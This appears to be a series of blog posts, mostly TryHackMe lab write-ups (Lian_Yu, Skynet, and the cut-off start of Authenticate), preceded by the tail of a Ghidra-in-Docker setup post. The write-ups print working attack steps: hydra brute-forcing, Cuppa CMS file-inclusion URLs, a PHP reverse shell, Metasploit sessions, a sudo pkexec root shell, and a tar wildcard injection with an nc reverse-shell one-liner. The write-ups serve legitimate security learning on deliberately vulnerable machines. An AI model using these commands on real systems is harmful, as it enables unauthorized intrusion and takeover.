The launch script creates an xauth file in my home directory, grabs the access tokens and merges them into this file. It then launches my docker image passing through the DISPLAY environment variable so it knows where to connect to, the XAUTHORITY environment variable to tell it where the xauth file is, and also maps that file into the same location within the running container. It's also set to detach (-d) so we can return to our command prompt and to delete (--rm) the container once we're done with it.

Running this script then did everything I was expecting and I was greeted with the very welcome sight of Ghidra firing up and displaying on my local machine:

All in all this really didn't take me that long to achieve (I have probably spent more time writing this article about it than it took to actually get running) and I'm very pleased with the result.

The only steps left to take in order to make this slightly better I would make the iptables and sysctl commands persist over machine restarts and I need to modify the start-up script so that it maps through the directories containing the binaries I need to decompile.

Another day, another THM write-up. Today I will be taking on the TryHackMe room Lian_Yu. It's marked as being easy, so we'll see how I get on.

Recon

So, as is fairly usual, we're presented with a machine to attack and told to start enumerating. The room card mentions gobuster so the chances are that there'll be a web server running on it.

The first two things I started with were nmap and gobuster:

nmap -sV -sC -p- -T4 -oN /tryhackme/lianyu/nmap 10.10.210.120

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.2
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
|   2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)
|   256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)
|_  256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)
80/tcp    open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Purgatory
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          43029/udp6  status
|   100024  1          46293/tcp   status
|   100024  1          51379/udp   status
|_  100024  1          56748/tcp6  status
46293/tcp open  status  1 (RPC #100024)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

gobuster dir -u http://10.10.210.120 -w ../big.txt

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.210.120
[+] Threads:        10
[+] Wordlist:       ../big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/21 11:25:59 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/island (Status: 301)
/server-status (Status: 403)
===============================================================
2020/06/21 11:26:57 Finished
===============================================================

No real surprises there. We have a web server running on port 80, FTP on 21, and a SSH server on 22. gobuster found us a directory on the server to take a look at, so we'll do just that:

What? No code word? Let's check the source:

We could also have found the code word by highlighting all the text on the page.

The tasks on the THM page suggest we should have found something else:

By the look of it, it's a 4 character directory name we're looking for and it appears gobuster didn't manage to find it.

Given that it's only 4 chars, that shouldn't take long to brute-force so we'll use crunch to generate us all the possibilities and feed this into gobuster:

crunch 4 4 > four.list

Crunch will now generate the following amount of data: 2284880 bytes
2 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 456976

Running this through gobuster got me no results. On checking the file, it's only generating for alphabetic chars. Let's try that again with numbers:

crunch 4 4 0123456789 > four-numbers.list

gobuster dir -u http://10.10.210.120/island -w four-numbers.list 

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.210.120/island
[+] Threads:        10
[+] Wordlist:       four-numbers.list
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/21 11:53:38 Starting gobuster
===============================================================
/2100 (Status: 301)
===============================================================
2020/06/21 11:54:07 Finished
===============================================================

Let's have a look at the /island/2100 page:

Within the source, there's a comment:

This looks like it's suggesting some form of file extension and the task in the room gives us a steer towards what we're expecting to find:

Running gobuster with my usual list and the argument -x "ticket" comes back with nothing, so I thought I'd take a look at the mask in the answer. The part before the period is 11 characters long. Much like Oliver Queen's name.

Running for all variants on Oliver Queen (including l33t speak versions, which I went and got a nice tool to generate) came back with nothing. Thought I'd try Robert Queen as well. Still nada.

Went and got a bigger list for gobuster and got a result pretty quickly. Think I'll use that list first next time...

gobuster dir -u http://10.10.38.17/island/2100/ -w ../directory-list-2.3-big.txt -x "ticket"

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.38.17/island/2100/
[+] Threads:        10
[+] Wordlist:       ../directory-list-2.3-big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     ticket
[+] Timeout:        10s
===============================================================
2020/06/21 20:37:35 Starting gobuster
===============================================================
/g*********w.ticket (Status: 200)

Going to this URL gives the following:

The next task appears to be getting in to FTP:

Trying a few usernames, the one I found which asked for a password was the word found "hidden" in the HTML from earlier.

Unfortunately, the token given in the previous task was not the password for it.

It did look like it could be in an encoded format, however, so I stuck it in CyberChef and got something usable in Base58.

This got me in on FTP and allowed access to the following:

ftp 10.10.38.17

Connected to 10.10.38.17.
220 (vsFTPd 3.0.2)
Name (10.10.38.17:root): v******** 
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0          511720 May 01 03:26 Leave_me_alone.png
-rw-r--r--    1 0        0          549924 May 05 11:10 Queen's_Gambit.png
-rw-r--r--    1 0        0          191026 May 01 03:25 aa.jpg
226 Directory send OK.

Only two of these seemed to be pictures, however:

file *.{png,jpg}

Leave_me_alone.png: data
Queen's_Gambit.png: PNG image data, 1280 x 720, 8-bit/color RGBA, non-interlaced
aa.jpg:             JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1200x1600, components 3

The aa.jpg file seems to have something hidden in it, as found by running stegcracker on it. I probably didn't need to use stegcracker as the password was pretty obvious.

Anyways, this contained a zip file containing a file with a password in and a file called passwd.txt which warned about booby traps on the island.

The password is not for the user we used for the FTP connection, however. Luckily, whilst I was FTPd in, I checked out what other users were on the system and so I knew to try the name slade. This name, along with the password we just gained got me in.

Once in here, we get access to the user.txt file:

slade@LianYu:~$ ls

user.txt

slade@LianYu:~$ cat user.txt 
THM{<REDACTED>}
			--Felicity Smoak

All we need to do now is find some way of escalating our privs to get root.

I first started looking for SUID files before remembering that sudo -l is always worth a quick check to see if there's anything the user can do which may be of help:

sudo -l

[sudo] password for slade: 
Matching Defaults entries for slade on LianYu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec

OK, looks like we can sudo /usr/bin/pkexec. A quick check on this on gtfobins shows we can simply sudo pkexec /bin/sh out way to glory:

slade@LianYu:/$ sudo pkexec /bin/sh
# cd /root
# ls
root.txt
# cat root.txt	
                          Mission accomplished



You are injected me with Mirakuru:) ---> Now slade Will become DEATHSTROKE. 



THM{<REDACTED>}
									      --DEATHSTROKE

Let me know your comments about this machine :)

Conclusion

All-in-all this was a fairly simple room (well, it is ranked as easy). There were a couple of takeaways from me on this:

• Always use the large directory file for gobuster
• crunch doesn't include numbers in it's alphabet by default
• Don't disappear down a rabbit hole trying to fix what appears to be a corrupted png file without doing more obvious things first

Anyways, that's about it for this time around. Hope you enjoyed reading :)

Today's write up is not the success story I was hoping it would be. Despite the room showing as being "easy" on TryHackMe, I didn't complete it without referring to the official write-up a couple of times.

It's possible that it's ranked "easy" because it comes with an official write-up which is displayed within Task #1's text.

Still, I thought I'd document it as I feel that, despite referring to the write-up, I have learned some valuable skills and lessons from having completed it and I wanted to get that down here. It's all part of the journey, after all. My hope is that next time I'm faced with a similar challenge I won't need to refer to the write up. Part of my plan for writing these blog posts is to try to cement in my own mind the learnings I take away from these challenges.

Other than the link to and description of the official walkthrough, the opening text gives very little away as to what needs to be done here. It simply states "Are you able to compromise this Terminator themed machine?".

Question #1

The questions give you some guidance on what you're looking for:

So, we have a rough idea of what username we're looking for and the fact there is some kind of e-mail service running on here.

Given the lack of any other information, I started, like usual, with a quick nmap:

nmap -T4 -sC -sV -oN skynet.nmap 10.10.192.132

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-29 20:46 BST
Nmap scan report for 10.10.192.132
Host is up (0.040s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)
|   256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)
|_  256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Skynet
110/tcp open  pop3        Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE CAPA SASL PIPELINING TOP RESP-CODES UIDL
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: SASL-IR LOGIN-REFERRALS ENABLE IMAP4rev1 LOGINDISABLEDA0001 post-login OK LITERAL+ have Pre-login listed capabilities more ID IDLE
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m11s, median: 0s
|_nbstat: NetBIOS name: SKYNET, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: skynet
|   NetBIOS computer name: SKYNET\x00
|   Domain name: \x00
|   FQDN: skynet
|_  System time: 2020-05-29T14:46:40-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-05-29T19:46:41
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.80 seconds

So, we have e-mail services (POP3 and IMAP4 running on ports 110 and 143, respectively), a web server (Apache on port 80), ssh (port 22) and Samba (ports 139 and 445). No SMTP port, so the server's not geared to accept external mail.

First port of call would be to fire up the old browser and see what's showing on the web server:

Looks like it's a search engine. The layout/style feels familiar, but I can't quite place where...

After probably less than a minute poking around at this, I came to the conclusion it wasn't particularly useful. I moved on to another tool which I'd usually run after encountering a web server, GoBuster:

gobuster dir -u http://10.10.192.132 -w /tryhackme/big.txt 

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.192.132
[+] Threads:        10
[+] Wordlist:       /tryhackme/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/05/29 21:11:16 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/admin (Status: 301)
/ai (Status: 301)
/config (Status: 301)
/css (Status: 301)
/js (Status: 301)
/server-status (Status: 403)
/squirrelmail (Status: 301)
===============================================================
2020/05/29 21:12:17 Finished
===============================================================

Looks like we've found something which might be of use, a squrrelmail install. Navigating to this shows us a standard SquirrelMail login:

So we now have an endpoint for our credentials, should we be able to find the required credentials. I tried running sqlmap against it, despite having had a quick look around the web for known exploits and not seeing any SQLi listed. Unsurprisingly, this didn't turn anything up.

At this point I tried turning to some other ports to try. I considered running hydra against the SSH port but decided against it as a) I wasn't 100% sure on what username was likely to be used (the "Miles" in the question was capitalised and so I didn't want to trust that it should be just "miles" for the username), and b) hydra against SSH takes a really long time.

I thought the Samba ports may be useful and these tend to be pretty quick to enumerate, so I fired off a quick smbclient command:

smbclient -N -L \\\\10.10.192.132

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	anonymous       Disk      Skynet Anonymous Share
	milesdyson      Disk      Miles Dyson Personal Share
	IPC$            IPC       IPC Service (skynet server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

Looks like I may have been right not to trust what the username was going to be. Next step was to try to open the shares:

smbclient \\\\10.10.192.132\\milesdyson

Enter WORKGROUP\root's password: 
tree connect failed: NT_STATUS_ACCESS_DENIED

smbclient \\\\10.10.192.132\\anonymous

Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \>

Within the root of the anonymous share, we can see a file called attention.txt and within a subfolder called logs there are three log files, of which only one contained any data. There was also a books folder, but that appeared to only contain PDF and epub files. I thought it best to take a look at the text files first.

A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson

cyborg007ha<REDACTED>
terminator2<REDACTED>
terminator2<REDACTED>
terminator2<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator0<REDACTED>
terminator0<REDACTED>
robotermina<REDACTED>
pongtermina<REDACTED>
manasturcal<REDACTED>
exterminato<REDACTED>
exterminato<REDACTED>
dterminator<REDACTED>
djxterminat<REDACTED>
dexterminat<REDACTED>
determinato<REDACTED>
cyborg007ha<REDACTED>
avsterminat<REDACTED>
alonsotermi<REDACTED>
Walterminat<REDACTED>
79terminato<REDACTED>
1996termina<REDACTED>

log1.txt looked like it could be a fairly handy password list.

Given that I still didn't know what the username was likely to be, I thought it best to try both miles and milesdyson, so I through these into a text file I called users:

miles
milesdyson

I then fired up hydra to try to brute force the SquirrelMail login page:

hydra -L users -P log1.txt "http-post-form://10.10.192.132/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^:Unknown"

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-29 21:29:50
[DATA] max 16 tasks per 1 server, overall 16 tasks, 62 login tries (l:2/p:31), ~4 tries per task
[DATA] attacking http-post-form://10.10.192.132:80/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^:Unknown
[80][http-post-form] host: 10.10.192.132   login: milesdyson   password: cyborg007ha<REDACTED>
1 of 1 target successfully completed, 1 valid password found

Success! We now have the username and password to get into the mailbox, with the password being the answer to question #1.

Question #2

Given that GoBuster failed to find a hidden directory which met the mask given in the answer, I'm assuming that we probably need to go looking in Miles' mail for the next part. Even if it had turned up another directory, I'd probably still have snooped around Miles' mail anyway through natural curiosity.

So, three e-mails in the mailbox. The last one contains some gibberish:

i can i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i i can i i i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i . . . . . . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i i i i i everything else . . . . . . . . . . . . . .
balls have 0 to me to me to me to me to me to me to me to me to
you i i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to

The second one contained some binary:

01100010 01100001 01101100 01101100 01110011 00100000 01101000 01100001 01110110
01100101 00100000 01111010 01100101 01110010 01101111 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111

I ran this through CyberChef and obtained the following insightful text:

balls have zero to me to me to me to me to me to me to me to me to

With the first e-mail, however, we find something which may help:

We have changed your smb password after system malfunction.
Password: )s{A&2Z<REDACTED>

Back to smbclient we go then:

smbclient \\\\10.10.192.132\\milesdyson -U milesdyson

Enter WORKGROUP\milesdyson's password: 
Try "help" to get a list of possible commands.
smb: \>

In Miles' share there were some more PDFs and a folder called notes. Within the notes folder there were a load of markdown files, and a txt file called important.txt. This looked important, so I grabbed a copy of it and had a quick look at it:

cat important.txt 

1. Add features to beta CMS /45kra24<REDACTED>
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife

I had no time to worry about the state of Miles' relationship as I had just found the answer to question #2.

Question #3

Question #3 was actually the first question I answered as it was pretty simple and I like getting points quickly:

Question #4

I had a look at the content of the hidden directory:

There didn't seem to be a great deal which could be done here and an examination of the page source didn't reveal much.

This was around this point where my troubles started. My initial approach took me down a rabbit hole of trying to exploit SquirrelMail. The research I'd done had suggested that a version of SquirrelMail close to the version number we were running here (SquirrelMail version 1.4.23 [SVN]) had an RCE (Remote Code Execution) attack vector possible. Unfortunately, the research showed conflicting information regarding exactly which version was vulnerable:

SquirrelMail < 1.4.22 - Remote Code Execution

SquirrelMail <= 1.4.23 Remote Code Execution PoC Exploit (CVE-2017-7692)

I grabbed the script anyway, and tried to run it (after sense checking it to make sure it didn't look like it was going to try to take over my machine).

Initially the script didn't work as expected as one of the pages it scraped wasn't in quite the same format as it was expecting (looking back, I should have taken the hint that this maybe wasn't the exploit I was looking for).

I modified the script and got it to run, but it never actually got me in.

Not to be put off once I've decided to try it, I then tried to emulate the script's steps by hand to see if I could get it to work. I couldn't.

As I'm not one to give up on a good idea once I think I've had one, I then went and scoured the internet (by which I mean I did a couple of minutes of Googling) and found a python script which was meant to exploit CVE-2017-7692. This would have been an excellent plan if only this install of SquirrelMail had been vulnerable to this CVE.

Again, I should have taken a proper look at the header in the python file:

SquirrelMail 1.4.22 Remote Code Execution (authenticated)

After dissecting and fighting with this script, I came to the conclusion that perhaps this system wasn't susceptible to this vulnerability and maybe I should have tried something else. Like an hour ago or something.

Still, it wasn't a complete waste as the time I spent looking at the two POCs for the exploit taught me a thing or two about how to script access to websites.

It was around this point where I realised I was struggling and went to the write-up. I'm disappointed that I did, as the answer I found was pretty obvious and was something I should have tried:

gobuster dir -u http://10.10.192.132/45kra24<REDACTED> -w ../big.txt 

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.192.132/45kra24<REDACTED>
[+] Threads:        10
[+] Wordlist:       ../big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/05/29 21:58:47 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/administrator (Status: 301)
===============================================================
2020/05/29 21:59:55 Finished
===============================================================

Oh, there's a subdirectory here called administrator. Looks much more promising than my attempt to compromise SquirrelMail.

We've found something we can log into! I tried all the passwords I had found up to this point with both combinations of miles and milesdyson. Nada!

I inspected the source code to the HTML and found that there was a password recovery function, but the code to activate it was commented out:

I tried putting in the e-mail address for Miles which we had a login for, but this went nowhere.

My next idea was to look for Cuppa on exploit-db:

Well, doesn't that just sound exactly like the thing Question #3 was asking about?

I threw together a quick URL using this information:

http://localhost:8080/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

So, we've found a local file inclusion exploit. Question #3 mentioned a remote file exploit though. Can we do that?

We know we're on PHP so we'll just write a very basic PHP script:

<?php echo "Hello"; ?>

We'll also fire up our trusty python3 http server:

python3 -m http.server

Craft a nice URL:

http://localhost:8080/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.9.0.232:8000/hello

So, we're now including remote files. Shall we try something a little more useful?

Let's go grab a nice PHP reverse shell from pentestmonkey, modify it to point to the right host/port, start a listener and call the appropriate URL:

nc -lvnp 4444

Listening on 0.0.0.0 4444
Connection received on 10.10.192.132 33934
Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 16:16:53 up  1:31,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

It's just simply a case now of getting the user.txt:

$ cat /home/milesdyson/user.txt
7ce5c2109a40f958099283<REDACTED>7

Although this is in Miles' home folder and we're not Miles (we're www-data) we can access this due to the permissions on it. The same is not true of /root/root.txt

We could also do this using LFI:

http://localhost:8080/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../home/milesdyson/user.txt

Question #5

Now that we have the ability to launch a shell, I thought I'd fire up msfconsole and generate a meterpreter connection:

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload payload/php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set lhost 10.9.0.232
lhost => 10.9.0.232
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.9.0.232:4444 
[*] Command shell session 1 opened (10.9.0.232:4444 -> 10.10.192.132:33942) at 2020-05-29 22:23:38 +0100

$

From here we can upgrade to a meterpreter shell:

msf5 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf5 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf5 post(multi/manage/shell_to_meterpreter) > run

[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.9.0.232:4433 
[*] Sending stage (980808 bytes) to 10.10.192.132
[*] Meterpreter session 2 opened (10.9.0.232:4433 -> 10.10.192.132:57836) at 2020-05-29 22:25:01 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf5 post(multi/manage/shell_to_meterpreter) > 
[*] Stopping exploit/multi/handler
sessions

Active sessions
===============

  Id  Name  Type                   Information                                                                       Connection
  --  ----  ----                   -----------                                                                       ----------
  1         shell php/php          Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC ...  10.9.0.232:4444 -> 10.10.192.132:33942 (10.10.192.132)
  2         meterpreter x86/linux  no-user @ skynet (uid=33, gid=33, euid=33, egid=33) @ 10.10.192.132               10.9.0.232:4433 -> 10.10.192.132:57836 (10.10.192.132)

From here I ran metasploit's local_exploit_suggester:

msf5 post(multi/manage/shell_to_meterpreter) > use post/multi/recon/local_exploit_suggester 
msf5 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf5 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.192.132 - Collecting local exploits for x86/linux...
[*] 10.10.192.132 - 35 exploit checks are being tried...
[+] 10.10.192.132 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable.
[+] 10.10.192.132 - exploit/linux/local/glibc_realpath_priv_esc: The target appears to be vulnerable.
[+] 10.10.192.132 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[*] Post module execution completed

This turned out to be useless as none of the suggestions worked.

I dropped back into a shell and ran LinEnum.sh (I won't reproduce the output here as it's far too long).

The only thing which stuck out was a cron job which runs a script within Miles' home folder:

*/1 *	* * *   root	/home/milesdyson/backups/backup.sh

Although the cron job was running a user controlled script it, unfortunately, wasn't controlled by the user we have access to.

We could view the script, but not modify it:

cat backup.sh

#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *

After a while messing around, I went back to the write-up as I could not work out what I was meant to do from here.

It turns out that the clue was the * in the script which, by the time execution reached this point, was running in a directory we did have control over.

The only piece of information I was lacking now was how to exploit this.

It turns out that tar can take some command line parameters which cause it to execute a command at certain points during the process. As the process was running as root at this point, all we needed to do was have a reverse TCP shell script and create the files needed so that bash globbing would cause the names of the files to be used as parameters for tar:

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.0.232 1234 >/tmp/f" > shell.sh
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"

As the script executes every minute, once you've done this and set up a listener, you'll very quickly get a root shell:

nc -lvnp 1234

Listening on 0.0.0.0 1234
Connection received on 10.10.192.132 51100
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt
3f0372db24753accc71<REDACTED>

And there we have the 5th and final answer. Room completed!

Lessons Learned

There are a few things I'll take away from having completed this room:

1. Pay more attention to the info available in the room text/questions. I went down a rabbit hole looking for an exploit where there was none. Still, I learned something from that.
2. If I find a directory with GoBuster, I should re-run GoBuster against that directory as well.
3. Bare * glob expansions in shell scripts are a Bad Thing^TM. Prior to this room I had no idea that this was even possible, so I would never have finished the room without having read the write-up. Next time I'll know better.

Summary

Again, another really nice, interesting room on TryHackMe. Some new skills were learned which I hopefully won't forget too quickly.

Looking forward to my next room and the lessons it'll teach me.

Thanks for reading :)

A new room opened up recently on TryHackMe called Authenticate, so I thought I'd give it a shot and write this blog post whilst doing it.

It looks to be a relatively simple "walkthrough" style room where they give you all the information you need in order to crack it.

I shall try to use different methods than the intended path as a test to show that for a lot of tasks there are many ways you can solve the challenges.

Task 1 - Deploy the VM

OK, so for the first task there isn't really a different approach as all you need to do is click the Deploy button and confirm that you have done this:

Task 2 - Dictionary Attack

The text in this task describes how you would go about brute forcing the password for users jack and mike using BurpSuite. I thought I'd demonstrate that you can achieve the same result using hydra.

For a lot of the rooms, I try to stay away from requiring graphical tools as I'm generally more a fan of the command line and I frequently access TryHackMe from a machine I'm SSHd into and don't readily have access to a GUI on.

The first step in the process of hacking this site using hydra is to find out what endpoint the login form is sending the details to.

This can be done using your favourite browser's DevTools (at least this is what it's called in Chrome, other browsers may refer to their tools by a different name). Two options immediately spring to mind from within the DevTools: 1) examine the HTML and see what the form is doing, or 2) have the Network (or equivalent) tab open and enter dummy details in the username/password boxes and see where the request is sent.

It can also be done by using curl to grab the page source and viewing what the form is doing from the command line:

<form class="navbar-form navbar-right" style="text-align: right" role="form" method="post">
  <div class="form-group">
    <input type="text" style="font-size: 100%" placeholder="Username" class="form-control" name="user">
  </div>
  <div class="form-group">
    <input type="password" style="font-size: 100%" placeholder="Password" class="form-control" name="password">
  </div>
  <button formaction="/login" type="submit" class="btn btn-success">Sign in</button>
  <a href="/register"><button type="button" class="btn btn-success">Register</button></a>
</form>

From this you can see that we're sending a POST request to /login with the parameters user and password.

The other piece of information you need for hydra to function is what the error message shows when you send incorrect credentials. For this you can send an curl POST request with dummy information:

curl http://10.10.146.29:8888/login --data 'user=jack&password=wrong'

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/error/invalid_credentials">/error/invalid_credentials</a>.  If not click the link.

As you can see, the resultant text contains the word invalid. This should probably be sufficient to craft a hydra command to attach the form.

For this I am using the rockyou.txt password list. This is generally my go-to list and is easily located on the internet. Other password lists may also do the trick.

The command I ended up creating looked like this:

hydra -l jack -P ../rockyou.txt "http-post-form://10.10.146.29:8888/login:user=^USER^&password=^PASS^:Invalid"

The results from running this will look something like this:

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-25 21:37:22
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.10.146.29:8888/login:user=^USER^&password=^PASS^:Invalid
[8888][http-post-form] host: 10.10.146.29   login: jack   password: <redacted>
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-25 21:37:27

As you can see, hydra found the correct password for jack in around five seconds. I suspect that the password was quite high up in rockyou.txt. Had it not been, the attack could have taken much longer.

Using the password you can now log in as jack and grab the first flag:

The process can then be repeated for mike.

Task 3 - Re-registration

This task consists of abusing the sanitisation the website is applying to inbound data and asks you to hijack the accounts for darren and arthur.

This task can also be completed entirely from the command line using just curl. This may seem like a waste of effort, but I feel that knowing command line tools is very useful as you could end up needing to do something like this when the only access to a machine you have is through a shell with no GUI available.

First of all, we need to locate where the registration page is by looking at the HTML you pull back using curl:

<a href="/register"><button type="button" class="btn btn-success">Register</button></a>

curling this URL shows us the form which we need to populate in order to complete a registration:

<form role="form" action="/register/submit" method="post" enctype="multipart/form-data">
  <div class="task-box col-md-6 col-md-offset-3">
    <h1>Register</h1>
    <br/>
    <br />
    <label>Username:</label>
    <input type="text" class="form-control" style="font-size: 100%" name="user" required="required">
    <br />
    <label>Email:</label>
    <input type="email" class="form-control" style="font-size: 100%" name="email" required="required">
    <br />
    <label>Password:</label>
    <input type="password" class="form-control" style="font-size: 100%" name="password" required="required">
    <br />
